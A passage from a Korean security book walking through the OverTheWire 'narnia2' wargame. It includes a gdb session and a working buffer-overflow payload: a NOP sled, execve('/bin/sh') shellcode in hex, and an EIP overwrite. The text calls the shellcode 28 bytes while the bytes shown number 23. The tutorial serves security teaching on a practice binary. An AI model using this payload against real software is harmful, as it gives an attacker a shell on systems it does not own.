더북(TheBook)

EIP를 모두 ‘B’(hex 코드는 0x42)로 덮어썼다. 셸 코드 영역에서 EIP를 가리키면 시스템을 손상시킬 수 있다. 그럼, 셸 코드는 어디서 찾아야 할까? 여러분이 직접 셸 코드를 작성할 수도 있고 http://shell-storm.org/shellcode/에서 다운로드할 수도 있다. 여기서는 ‘Linux/x86 - execve(/bin/sh) - 28 bytes’ 코드를 사용할 것이다. 이 셸 코드는 28바이트로, 전송 데이터 길이는 144바이트가 필요하다. 그리고 A를 NOP나 x90으로 변경할 것이다. 다음과 같이 실행하자.

narnia2@melinda:~$ cd /narnia

narnia2@melinda:/narnia$ gdb ./narnia2 -q

Reading symbols from ./narnia2...(no debugging symbols found)...done.

(gdb) run `python -c 'print "\x90" * 50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "BBBB"'`

Starting program: /games/narnia/narnia2 `python -c 'print "\x90" * 50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "BBBB"'`

Program received signal SIGSEGV, Segmentation fault.

0x42424242 in ?? ()

(gdb) info registers eip

eip           0x42424242 0x42424242

 

셸 코드와 NOP를 사용해 성공적으로 EIP를 제어했다. 이제 NOP 이전 아무데나 가서 /bin/sh 셸을 확보한다. 세그멘테이션 오류가 일어나면, 다음 명령을 입력해 메모리에 저장된 내용을 확인하자.

(gdb) x/250x $esp

신간 소식 구독하기
뉴스레터에 가입하시고 이메일로 신간 소식을 받아 보세요.